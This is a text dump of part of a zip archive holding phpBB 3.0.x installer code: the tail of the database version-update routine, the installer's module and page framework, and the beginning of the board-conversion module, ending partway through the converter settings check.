from 3.0.10-RC2 to 3.0.10-RC3 case '3.0.10-RC2': break; // No changes from 3.0.10-RC3 to 3.0.10 case '3.0.10-RC3': break; // Changes from 3.0.10 to 3.0.11-RC1 case '3.0.10': // Updates users having current style a deactivated one $sql = 'SELECT style_id FROM ' . STYLES_TABLE . ' WHERE style_active = 0'; $result = $db->sql_query($sql); $deactivated_style_ids = array(); while ($style_id = $db->sql_fetchfield('style_id', false, $result)) { $deactivated_style_ids[] = (int) $style_id; } $db->sql_freeresult($result); if (!empty($deactivated_style_ids)) { $sql = 'UPDATE ' . USERS_TABLE . ' SET user_style = ' . (int) $config['default_style'] .' WHERE ' . $db->sql_in_set('user_style', $deactivated_style_ids); _sql($sql, $errored, $error_ary); } // Delete orphan private messages $batch_size = 500; $sql_array = array( 'SELECT' => 'p.msg_id', 'FROM' => array( PRIVMSGS_TABLE => 'p', ), 'LEFT_JOIN' => array( array( 'FROM' => array(PRIVMSGS_TO_TABLE => 't'), 'ON' => 'p.msg_id = t.msg_id', ), ), 'WHERE' => 't.user_id IS NULL', ); $sql = $db->sql_build_query('SELECT', $sql_array); do { $result = $db->sql_query_limit($sql, $batch_size); $delete_pms = array(); while ($row = $db->sql_fetchrow($result)) { $delete_pms[] = (int) $row['msg_id']; } $db->sql_freeresult($result); if (!empty($delete_pms)) { $sql = 'DELETE FROM ' . PRIVMSGS_TABLE . ' WHERE ' . $db->sql_in_set('msg_id', $delete_pms); _sql($sql, $errored, $error_ary); } } while (sizeof($delete_pms) == $batch_size); $no_updates = false; break; // No changes from 3.0.11-RC1 to 3.0.11-RC2 case '3.0.11-RC1': break; // No changes from 3.0.11-RC2 to 3.0.11 case '3.0.11-RC2': break; // Changes from 3.0.11 to 3.0.12-RC1 case '3.0.11': $sql = 'UPDATE ' . MODULES_TABLE . ' SET module_auth = \'acl_u_sig\' WHERE module_class = \'ucp\' AND module_basename = \'profile\' AND module_mode = \'signature\''; _sql($sql, $errored, $error_ary); // Update bots if (!function_exists('user_delete')) { include($phpbb_root_path . 'includes/functions_user.' . $phpEx); } $bots_updates = array( // Bot Deletions 'NG-Search [Bot]' => false, 'Nutch/CVS [Bot]' => false, 'OmniExplorer [Bot]' => false, 'Seekport [Bot]' => false, 'Synoo [Bot]' => false, 'WiseNut [Bot]' => false, // Bot Updates // Bot name to bot user agent map 'Baidu [Spider]' => 'Baiduspider', 'Exabot [Bot]' => 'Exabot', 'Voyager [Bot]' => 'voyager/', 'W3C [Validator]' => 'W3C_Validator', ); foreach ($bots_updates as $bot_name => $bot_agent) { $sql = 'SELECT user_id FROM ' . USERS_TABLE . ' WHERE user_type = ' . USER_IGNORE . " AND username_clean = '" . $db->sql_escape(utf8_clean_string($bot_name)) . "'"; $result = $db->sql_query($sql); $bot_user_id = (int) $db->sql_fetchfield('user_id'); $db->sql_freeresult($result); if ($bot_user_id) { if ($bot_agent === false) { $sql = 'DELETE FROM ' . BOTS_TABLE . " WHERE user_id = $bot_user_id"; _sql($sql, $errored, $error_ary); user_delete('remove', $bot_user_id); } else { $sql = 'UPDATE ' . BOTS_TABLE . " SET bot_agent = '" . $db->sql_escape($bot_agent) . "' WHERE user_id = $bot_user_id"; _sql($sql, $errored, $error_ary); } } } // Disable receiving pms for bots $sql = 'SELECT user_id FROM ' . BOTS_TABLE; $result = $db->sql_query($sql); $bot_user_ids = array(); while ($row = $db->sql_fetchrow($result)) { $bot_user_ids[] = (int) $row['user_id']; } $db->sql_freeresult($result); if (!empty($bot_user_ids)) { $sql = 'UPDATE ' . USERS_TABLE . ' SET user_allow_pm = 0 WHERE ' . $db->sql_in_set('user_id', $bot_user_ids); _sql($sql, $errored, $error_ary); } /** * Update BBCodes that currently use the LOCAL_URL tag * * To fix http://tracker.phpbb.com/browse/PHPBB3-8319 we changed * the second_pass_replace value, so that needs updating for existing ones */ $sql = 'SELECT * FROM ' . BBCODES_TABLE . ' WHERE bbcode_match ' . $db->sql_like_expression($db->any_char . 'LOCAL_URL' . $db->any_char); $result = $db->sql_query($sql); while ($row = $db->sql_fetchrow($result)) { if (!class_exists('acp_bbcodes')) { phpbb_require_updated('includes/acp/acp_bbcodes.' . $phpEx); } $bbcode_match = $row['bbcode_match']; $bbcode_tpl = $row['bbcode_tpl']; $acp_bbcodes = new acp_bbcodes(); $sql_ary = $acp_bbcodes->build_regexp($bbcode_match, $bbcode_tpl); $sql = 'UPDATE ' . BBCODES_TABLE . ' SET ' . $db->sql_build_array('UPDATE', $sql_ary) . ' WHERE bbcode_id = ' . (int) $row['bbcode_id']; $db->sql_query($sql); } $db->sql_freeresult($result); $no_updates = false; break; // No changes from 3.0.12-RC1 to 3.0.12-RC2 case '3.0.12-RC1': break; // No changes from 3.0.12-RC2 to 3.0.12-RC3 case '3.0.12-RC2': break; // No changes from 3.0.12-RC3 to 3.0.12 case '3.0.12-RC3': break; } } ?> PK‰† [¶½&N&N index.phpnuW+A„¶obtain_hooks() as $hook) { @include($phpbb_root_path . 'includes/hooks/' . $hook . '.' . $phpEx); } } else { $phpbb_hook = false; } // Set some standard variables we want to force $config = array( 'load_tplcompile' => '1' ); $template->set_custom_template('../adm/style', 'admin'); $template->assign_var('T_TEMPLATE_PATH', '../adm/style'); // the acp template is never stored in the database $user->theme['template_storedb'] = false; $install = new module(); $install->create('install', "index.$phpEx", $mode, $sub); $install->load(); // Generate the page $install->page_header(); $install->generate_navigation(); $template->set_filenames(array( 'body' => $install->get_tpl_name()) ); $install->page_footer(); /** * @package install */ class module { var $id = 0; var $type = 'install'; var $module_ary = array(); var $filename; var $module_url = ''; var $tpl_name = ''; var $mode; var $sub; /** * Private methods, should not be overwritten */ function create($module_type, $module_url, $selected_mod = false, $selected_submod = false) { global $db, $config, $phpEx, $phpbb_root_path; $module = array(); // Grab module information using Bart's "neat-o-module" system (tm) $dir = @opendir('.'); if (!$dir) { $this->error('Unable to access the installation directory', __LINE__, __FILE__); } $setmodules = 1; while (($file = readdir($dir)) !== false) { if (preg_match('#^install_(.*?)\.' . $phpEx . '$#', $file)) { include($file); } } closedir($dir); unset($setmodules); if (!sizeof($module)) { $this->error('No installation modules found', __LINE__, __FILE__); } // Order to use and count further if modules get assigned to the same position or not having an order $max_module_order = 1000; foreach ($module as $row) { // Module order not specified or module already assigned at this position? if (!isset($row['module_order']) || isset($this->module_ary[$row['module_order']])) { $row['module_order'] = $max_module_order; $max_module_order++; } $this->module_ary[$row['module_order']]['name'] = $row['module_title']; $this->module_ary[$row['module_order']]['filename'] = $row['module_filename']; $this->module_ary[$row['module_order']]['subs'] = $row['module_subs']; $this->module_ary[$row['module_order']]['stages'] = $row['module_stages']; if (strtolower($selected_mod) == strtolower($row['module_title'])) { $this->id = (int) $row['module_order']; $this->filename = (string) $row['module_filename']; $this->module_url = (string) $module_url; $this->mode = (string) $selected_mod; // Check that the sub-mode specified is valid or set a default if not if (is_array($row['module_subs'])) { $this->sub = strtolower((in_array(strtoupper($selected_submod), $row['module_subs'])) ? $selected_submod : $row['module_subs'][0]); } else if (is_array($row['module_stages'])) { $this->sub = strtolower((in_array(strtoupper($selected_submod), $row['module_stages'])) ? $selected_submod : $row['module_stages'][0]); } else { $this->sub = ''; } } } // END foreach } // END create /** * Load and run the relevant module if applicable */ function load($mode = false, $run = true) { global $phpbb_root_path, $phpEx; if ($run) { if (!empty($mode)) { $this->mode = $mode; } $module = $this->filename; if (!class_exists($module)) { $this->error('Module "' . htmlspecialchars($module) . '" not accessible.', __LINE__, __FILE__); } $this->module = new $module($this); if (method_exists($this->module, 'main')) { $this->module->main($this->mode, $this->sub); } } } /** * Output the standard page header */ function page_header() { if (defined('HEADER_INC')) { return; } define('HEADER_INC', true); global $template, $lang, $stage, $phpbb_root_path; $template->assign_vars(array( 'L_CHANGE' => $lang['CHANGE'], 'L_INSTALL_PANEL' => $lang['INSTALL_PANEL'], 'L_SELECT_LANG' => $lang['SELECT_LANG'], 'L_SKIP' => $lang['SKIP'], 'PAGE_TITLE' => $this->get_page_title(), 'T_IMAGE_PATH' => $phpbb_root_path . 'adm/images/', 'S_CONTENT_DIRECTION' => $lang['DIRECTION'], 'S_CONTENT_FLOW_BEGIN' => ($lang['DIRECTION'] == 'ltr') ? 'left' : 'right', 'S_CONTENT_FLOW_END' => ($lang['DIRECTION'] == 'ltr') ? 'right' : 'left', 'S_CONTENT_ENCODING' => 'UTF-8', 'S_USER_LANG' => $lang['USER_LANG'], ) ); header('Content-type: text/html; charset=UTF-8'); header('Cache-Control: private, no-cache="set-cookie"'); header('Expires: 0'); header('Pragma: no-cache'); return; } /** * Output the standard page footer */ function page_footer() { global $db, $template; $template->display('body'); // Close our DB connection. if (!empty($db) && is_object($db)) { $db->sql_close(); } if (function_exists('exit_handler')) { exit_handler(); } } /** * Returns desired template name */ function get_tpl_name() { return $this->module->tpl_name . '.html'; } /** * Returns the desired page title */ function get_page_title() { global $lang; if (!isset($this->module->page_title)) { return ''; } return (isset($lang[$this->module->page_title])) ? $lang[$this->module->page_title] : $this->module->page_title; } /** * Generate an HTTP/1.1 header to redirect the user to another page * This is used during the installation when we do not have a database available to call the normal redirect function * @param string $page The page to redirect to relative to the installer root path */ function redirect($page) { // HTTP_HOST is having the correct browser url in most cases... $server_name = (!empty($_SERVER['HTTP_HOST'])) ? strtolower($_SERVER['HTTP_HOST']) : ((!empty($_SERVER['SERVER_NAME'])) ? $_SERVER['SERVER_NAME'] : getenv('SERVER_NAME')); $server_port = (!empty($_SERVER['SERVER_PORT'])) ? (int) $_SERVER['SERVER_PORT'] : (int) getenv('SERVER_PORT'); $secure = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') ? 1 : 0; $script_name = (!empty($_SERVER['PHP_SELF'])) ? $_SERVER['PHP_SELF'] : getenv('PHP_SELF'); if (!$script_name) { $script_name = (!empty($_SERVER['REQUEST_URI'])) ? $_SERVER['REQUEST_URI'] : getenv('REQUEST_URI'); } // Replace backslashes and doubled slashes (could happen on some proxy setups) $script_name = str_replace(array('\\', '//'), '/', $script_name); $script_path = trim(dirname($script_name)); $url = (($secure) ? 'https://' : 'http://') . $server_name; if ($server_port && (($secure && $server_port <> 443) || (!$secure && $server_port <> 80))) { // HTTP HOST can carry a port number... if (strpos($server_name, ':') === false) { $url .= ':' . $server_port; } } $url .= $script_path . '/' . $page; header('Location: ' . $url); exit; } /** * Generate the navigation tabs */ function generate_navigation() { global $lang, $template, $phpEx, $language; if (is_array($this->module_ary)) { @ksort($this->module_ary); foreach ($this->module_ary as $cat_ary) { $cat = $cat_ary['name']; $l_cat = (!empty($lang['CAT_' . $cat])) ? $lang['CAT_' . $cat] : preg_replace('#_#', ' ', $cat); $cat = strtolower($cat); $url = $this->module_url . "?mode=$cat&language=$language"; if ($this->mode == $cat) { $template->assign_block_vars('t_block1', array( 'L_TITLE' => $l_cat, 'S_SELECTED' => true, 'U_TITLE' => $url, )); if (is_array($this->module_ary[$this->id]['subs'])) { $subs = $this->module_ary[$this->id]['subs']; foreach ($subs as $option) { $l_option = (!empty($lang['SUB_' . $option])) ? $lang['SUB_' . $option] : preg_replace('#_#', ' ', $option); $option = strtolower($option); $url = $this->module_url . '?mode=' . $this->mode . "&sub=$option&language=$language"; $template->assign_block_vars('l_block1', array( 'L_TITLE' => $l_option, 'S_SELECTED' => ($this->sub == $option), 'U_TITLE' => $url, )); } } if (is_array($this->module_ary[$this->id]['stages'])) { $subs = $this->module_ary[$this->id]['stages']; $matched = false; foreach ($subs as $option) { $l_option = (!empty($lang['STAGE_' . $option])) ? $lang['STAGE_' . $option] : preg_replace('#_#', ' ', $option); $option = strtolower($option); $matched = ($this->sub == $option) ? true : $matched; $template->assign_block_vars('l_block2', array( 'L_TITLE' => $l_option, 'S_SELECTED' => ($this->sub == $option), 'S_COMPLETE' => !$matched, )); } } } else { $template->assign_block_vars('t_block1', array( 'L_TITLE' => $l_cat, 'S_SELECTED' => false, 'U_TITLE' => $url, )); } } } } /** * Output an error message * If skip is true, return and continue execution, else exit */ function error($error, $line, $file, $skip = false) { global $lang, $db, $template; if ($skip) { $template->assign_block_vars('checks', array( 'S_LEGEND' => true, 'LEGEND' => $lang['INST_ERR'], )); $template->assign_block_vars('checks', array( 'TITLE' => basename($file) . ' [ ' . $line . ' ]', 'RESULT' => '' . $error . '', )); return; } echo ''; echo ''; echo ''; echo ''; echo '' . $lang['INST_ERR_FATAL'] . ''; echo ''; echo ''; echo ''; echo '
'; echo ' '; echo '
'; echo '
'; echo '
'; echo ' '; echo '
'; echo '

' . $lang['INST_ERR_FATAL'] . '

'; echo '

' . $lang['INST_ERR_FATAL'] . "

\n"; echo '

' . basename($file) . ' [ ' . $line . " ]

\n"; echo '

' . $error . "

\n"; echo '
'; echo ' '; echo '
'; echo '
'; echo '
'; echo ' '; echo '
'; echo ''; echo ''; if (!empty($db) && is_object($db)) { $db->sql_close(); } exit_handler(); } /** * Output an error message for a database related problem * If skip is true, return and continue execution, else exit */ function db_error($error, $sql, $line, $file, $skip = false) { global $lang, $db, $template; if ($skip) { $template->assign_block_vars('checks', array( 'S_LEGEND' => true, 'LEGEND' => $lang['INST_ERR_FATAL'], )); $template->assign_block_vars('checks', array( 'TITLE' => basename($file) . ' [ ' . $line . ' ]', 'RESULT' => '' . $error . '
» SQL:' . $sql, )); return; } $template->set_filenames(array( 'body' => 'install_error.html') ); $this->page_header(); $this->generate_navigation(); $template->assign_vars(array( 'MESSAGE_TITLE' => $lang['INST_ERR_FATAL_DB'], 'MESSAGE_TEXT' => '

' . basename($file) . ' [ ' . $line . ' ]

SQL : ' . $sql . '

' . $error . '

', )); // Rollback if in transaction if ($db->transaction) { $db->sql_transaction('rollback'); } $this->page_footer(); } /** * Generate the relevant HTML for an input field and the associated label and explanatory text */ function input_field($name, $type, $value='', $options='') { global $lang; $tpl_type = explode(':', $type); $tpl = ''; switch ($tpl_type[0]) { case 'text': case 'password': $size = (int) $tpl_type[1]; $maxlength = (int) $tpl_type[2]; $tpl = ''; break; case 'textarea': $rows = (int) $tpl_type[1]; $cols = (int) $tpl_type[2]; $tpl = ''; break; case 'radio': $key_yes = ($value) ? ' checked="checked" id="' . $name . '"' : ''; $key_no = (!$value) ? ' checked="checked" id="' . $name . '"' : ''; $tpl_type_cond = explode('_', $tpl_type[1]); $type_no = ($tpl_type_cond[0] == 'disabled' || $tpl_type_cond[0] == 'enabled') ? false : true; $tpl_no = ''; $tpl_yes = ''; $tpl = ($tpl_type_cond[0] == 'yes' || $tpl_type_cond[0] == 'enabled') ? $tpl_yes . '  ' . $tpl_no : $tpl_no . '  ' . $tpl_yes; break; case 'select': eval('$s_options = ' . str_replace('{VALUE}', $value, $options) . ';'); $tpl = ''; break; case 'custom': eval('$tpl = ' . str_replace('{VALUE}', $value, $options) . ';'); break; default: break; } return $tpl; } /** * Generate the drop down of available language packs */ function inst_language_select($default = '') { global $phpbb_root_path, $phpEx; $dir = @opendir($phpbb_root_path . 'language'); if (!$dir) { $this->error('Unable to access the language directory', __LINE__, __FILE__); } while ($file = readdir($dir)) { $path = $phpbb_root_path . 'language/' . $file; if ($file == '.' || $file == '..' || is_link($path) || is_file($path) || $file == 'CVS') { continue; } if (file_exists($path . '/iso.txt')) { list($displayname, $localname) = @file($path . '/iso.txt'); $lang[$localname] = $file; } } closedir($dir); @asort($lang); @reset($lang); $user_select = ''; foreach ($lang as $displayname => $filename) { $selected = (strtolower($default) == strtolower($filename)) ? ' selected="selected"' : ''; $user_select .= ''; } return $user_select; } } ?>PK‰† []ýC¥dödöinstall_convert.phpnuW+A„¶ 'install', 'module_title' => 'CONVERT', 'module_filename' => substr(basename(__FILE__), 0, -strlen($phpEx)-1), 'module_order' => 20, 'module_subs' => '', 'module_stages' => array('INTRO', 'SETTINGS', 'IN_PROGRESS', 'FINAL'), 'module_reqs' => '' ); } /** * Class holding all convertor-specific details. * @package install */ class convert { var $options = array(); var $convertor_tag = ''; var $src_dbms = ''; var $src_dbhost = ''; var $src_dbport = ''; var $src_dbuser = ''; var $src_dbpasswd = ''; var $src_dbname = ''; var $src_table_prefix = ''; var $convertor_data = array(); var $tables = array(); var $config_schema = array(); var $convertor = array(); var $src_truncate_statement = 'DELETE FROM '; var $truncate_statement = 'DELETE FROM '; var $fulltext_search; // Batch size, can be adjusted by the conversion file // For big boards a value of 6000 seems to be optimal var $batch_size = 2000; // Number of rows to be inserted at once (extended insert) if supported // For installations having enough memory a value of 60 may be good. var $num_wait_rows = 20; // Mysqls internal recoding engine messing up with our (better) functions? We at least support more encodings than mysql so should use it in favor. var $mysql_convert = false; var $p_master; function convert(&$p_master) { $this->p_master = &$p_master; } } /** * Convert class for conversions * @package install */ class install_convert extends module { /** * Variables used while converting, they are accessible from the global variable $convert */ function install_convert(&$p_master) { $this->p_master = &$p_master; } function main($mode, $sub) { global $lang, $template, $phpbb_root_path, $phpEx, $cache, $config, $language, $table_prefix; global $convert; $this->tpl_name = 'install_convert'; $this->mode = $mode; $convert = new convert($this->p_master); switch ($sub) { case 'intro': // Try opening config file // @todo If phpBB is not installed, we need to do a cut-down installation here // For now, we redirect to the installation script instead if (@file_exists($phpbb_root_path . 'config.' . $phpEx)) { include($phpbb_root_path . 'config.' . $phpEx); } if (!defined('PHPBB_INSTALLED')) { $template->assign_vars(array( 'S_NOT_INSTALLED' => true, 'TITLE' => $lang['BOARD_NOT_INSTALLED'], 'BODY' => sprintf($lang['BOARD_NOT_INSTALLED_EXPLAIN'], append_sid($phpbb_root_path . 'install/index.' . $phpEx, 'mode=install&language=' . $language)), )); return; } require($phpbb_root_path . 'config.' . $phpEx); require($phpbb_root_path . 'includes/constants.' . $phpEx); require($phpbb_root_path . 'includes/db/' . $dbms . '.' . $phpEx); require($phpbb_root_path . 'includes/functions_convert.' . $phpEx); $db = new $sql_db(); $db->sql_connect($dbhost, $dbuser, $dbpasswd, $dbname, $dbport, false, true); unset($dbpasswd); // We need to fill the config to let internal functions correctly work $sql = 'SELECT * FROM ' . CONFIG_TABLE; $result = $db->sql_query($sql); $config = array(); while ($row = $db->sql_fetchrow($result)) { $config[$row['config_name']] = $row['config_value']; } $db->sql_freeresult($result); // Detect if there is already a conversion in progress at this point and offer to resume // It's quite possible that the user will get disconnected during a large conversion so they need to be able to resume it $new_conversion = request_var('new_conv', 0); if ($new_conversion) { $config['convert_progress'] = ''; $config['convert_db_server'] = ''; $config['convert_db_user'] = ''; $db->sql_query('DELETE FROM ' . CONFIG_TABLE . " WHERE config_name = 'convert_progress' OR config_name = 'convert_db_server' OR config_name = 'convert_db_user'" ); } // Let's see if there is a conversion in the works... $options = array(); if (!empty($config['convert_progress']) && !empty($config['convert_db_server']) && !empty($config['convert_db_user']) && !empty($config['convert_options'])) { $options = unserialize($config['convert_progress']); $options = array_merge($options, unserialize($config['convert_db_server']), unserialize($config['convert_db_user']), unserialize($config['convert_options'])); } // This information should have already been checked once, but do it again for safety if (!empty($options) && !empty($options['tag']) && isset($options['dbms']) && isset($options['dbhost']) && isset($options['dbport']) && isset($options['dbuser']) && isset($options['dbpasswd']) && isset($options['dbname']) && isset($options['table_prefix'])) { $this->page_title = $lang['CONTINUE_CONVERT']; $template->assign_vars(array( 'TITLE' => $lang['CONTINUE_CONVERT'], 'BODY' => $lang['CONTINUE_CONVERT_BODY'], 'L_NEW' => $lang['CONVERT_NEW_CONVERSION'], 'L_CONTINUE' => $lang['CONTINUE_OLD_CONVERSION'], 'S_CONTINUE' => true, 'U_NEW_ACTION' => $this->p_master->module_url . "?mode={$this->mode}&sub=intro&new_conv=1&language=$language", 'U_CONTINUE_ACTION' => $this->p_master->module_url . "?mode={$this->mode}&sub=in_progress&tag={$options['tag']}{$options['step']}&language=$language", )); return; } $this->list_convertors($sub); break; case 'settings': $this->get_convert_settings($sub); break; case 'in_progress': $this->convert_data($sub); break; case 'final': $this->page_title = $lang['CONVERT_COMPLETE']; $template->assign_vars(array( 'TITLE' => $lang['CONVERT_COMPLETE'], 'BODY' => $lang['CONVERT_COMPLETE_EXPLAIN'], )); // If we reached this step (conversion completed) we want to purge the cache and log the user out. // This is for making sure the session get not screwed due to the 3.0.x users table being completely new. $cache->purge(); require($phpbb_root_path . 'config.' . $phpEx); require($phpbb_root_path . 'includes/constants.' . $phpEx); require($phpbb_root_path . 'includes/db/' . $dbms . '.' . $phpEx); require($phpbb_root_path . 'includes/functions_convert.' . $phpEx); $db = new $sql_db(); $db->sql_connect($dbhost, $dbuser, $dbpasswd, $dbname, $dbport, false, true); unset($dbpasswd); $sql = 'SELECT config_value FROM ' . CONFIG_TABLE . ' WHERE config_name = \'search_type\''; $result = $db->sql_query($sql); if ($db->sql_fetchfield('config_value') != 'fulltext_mysql') { $template->assign_vars(array( 'S_ERROR_BOX' => true, 'ERROR_TITLE' => $lang['SEARCH_INDEX_UNCONVERTED'], 'ERROR_MSG' => $lang['SEARCH_INDEX_UNCONVERTED_EXPLAIN'], )); } switch ($db->sql_layer) { case 'sqlite': case 'firebird': $db->sql_query('DELETE FROM ' . SESSIONS_KEYS_TABLE); $db->sql_query('DELETE FROM ' . SESSIONS_TABLE); break; default: $db->sql_query('TRUNCATE TABLE ' . SESSIONS_KEYS_TABLE); $db->sql_query('TRUNCATE TABLE ' . SESSIONS_TABLE); break; } break; } } /** * Generate a list of all available conversion modules */ function list_convertors($sub) { global $lang, $language, $template, $phpbb_root_path, $phpEx; $this->page_title = $lang['SUB_INTRO']; $template->assign_vars(array( 'TITLE' => $lang['CONVERT_INTRO'], 'BODY' => $lang['CONVERT_INTRO_BODY'], 'L_AUTHOR' => $lang['AUTHOR'], 'L_AVAILABLE_CONVERTORS' => $lang['AVAILABLE_CONVERTORS'], 'L_CONVERT' => $lang['CONVERT'], 'L_NO_CONVERTORS' => $lang['NO_CONVERTORS'], 'L_OPTIONS' => $lang['CONVERT_OPTIONS'], 'L_SOFTWARE' => $lang['SOFTWARE'], 'L_VERSION' => $lang['VERSION'], 'S_LIST' => true, )); $convertors = $sort = array(); $get_info = true; $handle = @opendir('./convertors/'); if (!$handle) { $this->error('Unable to access the convertors directory', __LINE__, __FILE__); } while ($entry = readdir($handle)) { if (preg_match('/^convert_([a-z0-9_]+).' . $phpEx . '$/i', $entry, $m)) { include('./convertors/' . $entry); if (isset($convertor_data)) { $sort[strtolower($convertor_data['forum_name'])] = sizeof($convertors); $convertors[] = array( 'tag' => $m[1], 'forum_name' => $convertor_data['forum_name'], 'version' => $convertor_data['version'], 'dbms' => $convertor_data['dbms'], 'dbhost' => $convertor_data['dbhost'], 'dbport' => $convertor_data['dbport'], 'dbuser' => $convertor_data['dbuser'], 'dbpasswd' => $convertor_data['dbpasswd'], 'dbname' => $convertor_data['dbname'], 'table_prefix' => $convertor_data['table_prefix'], 'author' => $convertor_data['author'] ); } unset($convertor_data); } } closedir($handle); @ksort($sort); foreach ($sort as $void => $index) { $template->assign_block_vars('convertors', array( 'AUTHOR' => $convertors[$index]['author'], 'SOFTWARE' => $convertors[$index]['forum_name'], 'VERSION' => $convertors[$index]['version'], 'U_CONVERT' => $this->p_master->module_url . "?mode={$this->mode}&language=$language&sub=settings&tag=" . $convertors[$index]['tag'], )); } } /** */ function get_convert_settings($sub) { global $lang, $language, $template, $db, $phpbb_root_path, $phpEx, $config, $cache; require($phpbb_root_path . 'config.' . $phpEx); require($phpbb_root_path . 'includes/constants.' . $phpEx); require($phpbb_root_path . 'includes/db/' . $dbms . '.' . $phpEx); require($phpbb_root_path . 'includes/functions_convert.' . $phpEx); $db = new $sql_db(); $db->sql_connect($dbhost, $dbuser, $dbpasswd, $dbname, $dbport, false, true); unset($dbpasswd); $this->page_title = $lang['STAGE_SETTINGS']; // We need to fill the config to let internal functions correctly work $sql = 'SELECT * FROM ' . CONFIG_TABLE; $result = $db->sql_query($sql); $config = array(); while ($row = $db->sql_fetchrow($result)) { $config[$row['config_name']] = $row['config_value']; } $db->sql_freeresult($result); $convertor_tag = request_var('tag', ''); if (empty($convertor_tag)) { $this->p_master->error($lang['NO_CONVERT_SPECIFIED'], __LINE__, __FILE__); } $get_info = true; // check security implications of direct inclusion $convertor_tag = basename($convertor_tag); if (!file_exists('./convertors/convert_' . $convertor_tag . '.' . $phpEx)) { $this->p_master->error($lang['CONVERT_NOT_EXIST'], __LINE__, __FILE__); } include('./convertors/convert_' . $convertor_tag . '.' . $phpEx); // The test_file is a file that should be present in the location of the old board. if (!isset($test_file)) { $this->p_master->error($lang['DEV_NO_TEST_FILE'], __LINE__, __FILE__); } $submit = (isset($_POST['submit'])) ? true : false; $src_dbms = request_var('src_dbms', $convertor_data['dbms']); $src_dbhost = request_var('src_dbhost', $convertor_data['dbhost']); $src_dbport = request_var('src_dbport', $convertor_data['dbport']); $src_dbuser = request_var('src_dbuser', $convertor_data['dbuser']); $src_dbpasswd = request_var('src_dbpasswd', $convertor_data['dbpasswd']); $src_dbname = request_var('src_dbname', $convertor_data['dbname']); $src_table_prefix = request_var('src_table_prefix', $convertor_data['table_prefix']); $forum_path = request_var('forum_path', $convertor_data['forum_path']); $refresh = request_var('refresh', 1); // Default URL of the old board // @todo Are we going to use this for attempting to convert URL references in posts, or should we remove it? // -> We should convert old urls to the new relative urls format // $src_url = request_var('src_url', 'Not in use at the moment'); // strip trailing slash from old forum path $forum_path = (strlen($forum_path) && $forum_path[strlen($forum_path) - 1] == '/') ? substr($forum_path, 0, -1) : $forum_path; $error = array(); if ($submit) { if (!@file_exists('./../' . $forum_path . '/' . $test_file)) { $error[] = sprintf($lang['COULD_NOT_FIND_PATH'], $forum_path); } $connect_test = false; $available_dbms = get_available_dbms(false, true, true); if (!isset($available_dbms[$src_dbms]) || !$available_dbms[$src_dbms]['AVAILABLE']) { $error['db'][] = $lang['INST_ERR_NO_DB']; $connect_test = false; } else { $connect_test = connect_check_db(true, $error, $available_dbms[$src_dbms], $src_table_prefix, $src_dbhost, $src_dbuser, htmlspecialchars_decode($src_dbpasswd), $src_dbname, $src_dbport, true, ($src_dbms == $dbms) ? false : true, false); } // The forum prefix of the old and the new forum can only be the same if two different databases are used. if ($src_table_prefix == $table_prefix && $src_dbms == $dbms && $src_dbhost == $dbhost && $src_dbport == $dbport && $src_dbname == $dbname) { $error[] = sprintf($lang['TABLE_PREFIX_SAME'], $src_table_prefix); } // Check table prefix if (!sizeof($error)) { // initiate database connection to old db if old and new db differ global $src_db, $same_db; $src_db = $same_db = false; if ($src_dbms != $dbms || $src_dbhost != $dbhost || $src_dbport != $dbport || $src_dbname != $dbname || $src_dbuser != $dbuser) { $sql_db = 'dbal_' . $src_dbms; $src_db = new $sql_db(); $src_db->sql_connect($src_dbhost, $src_dbuser, htmlspecialchars_decode($src_dbpasswd), $src_dbname, $src_dbport, false, true); $same_db = false; } else { $src_db = $db; $same_db = true; } $src_db->sql_return_on_error(true); $db->sql_return_on_error(true); // Try to select one row from the first table to see if the prefix is OK $result = $src_db->sql_query_limit('SELECT * FROM ' . $src_table_prefix . $tables[0], 1); if (!$result) { $prefixes = array(); $tables_existing = get_tables($src_db); $tables_existing = array_map('strtolower', $tables_existing); foreach ($tables_existing as $table_name) { compare_table($tables, $table_name, $prefixes); } unset($tables_existing); foreach ($prefixes as $prefix => $count) { if ($count >= sizeof($tables)) { $possible_prefix = $prefix; break; } } $msg = ''; if (!empty($convertor_data['table_prefix'])) { $msg .= sprintf($lang['DEFAULT_PREFIX_IS'], $convertor_data['forum_name'], $convertor_data['table_prefix']); } if (!empty($possible_prefix)) { $msg .= '
'; $msg .= ($possible_prefix == '*') ? $lang['BLANK_PREFIX_FOUND'] : sprintf($lang['PREFIX_FOUND'], $possible_prefix); $src_table_prefix = ($possible_prefix == '*') ? '' : $possible_prefix; } $error[] = $msg; } $src_db->sql_freeresult($result); $src_db->sql_return_on_error(false); } if (!sizeof($error)) { // Save convertor Status set_config('convert_progress', serialize(array( 'step' => '', 'table_prefix' => $src_table_prefix, 'tag' => $convertor_tag, )), true); set_config('convert_db_server', serialize(array( 'dbms' => $src_dbms, 'dbhost' => $src_dbhost, 'dbport' => $src_dbport, 'dbname' => $src_dbname, )), true); set_config('convert_db_user', serialize(array( 'dbuser' => $src_dbuser, 'dbpasswd' => $src_dbpasswd, )), true); // Save options set_config('convert_options', serialize(array('forum_path' => './../' . $forum_path, 'refresh' => $refresh)), true); $template->assign_block_vars('checks', array( 'TITLE' => $lang['VERIFY_OPTIONS'], 'RESULT' => $lang['CONVERT_SETTINGS_VERIFIED'], )); $template->assign_vars(array( 'L_SUBMIT' => $lang['BEGIN_CONVERT'], // 'S_HIDDEN' => $s_hidden_fields, 'U_ACTION' => $this->p_master->module_url . "?mode={$this->mode}&sub=in_progress&tag=$convertor_tag&language=$language", )); return; } else { $template->assign_block_vars('checks', array( 'TITLE' => $lang['VERIFY_OPTIONS'], 'RESULT' => '' . implode('
', $error) . '
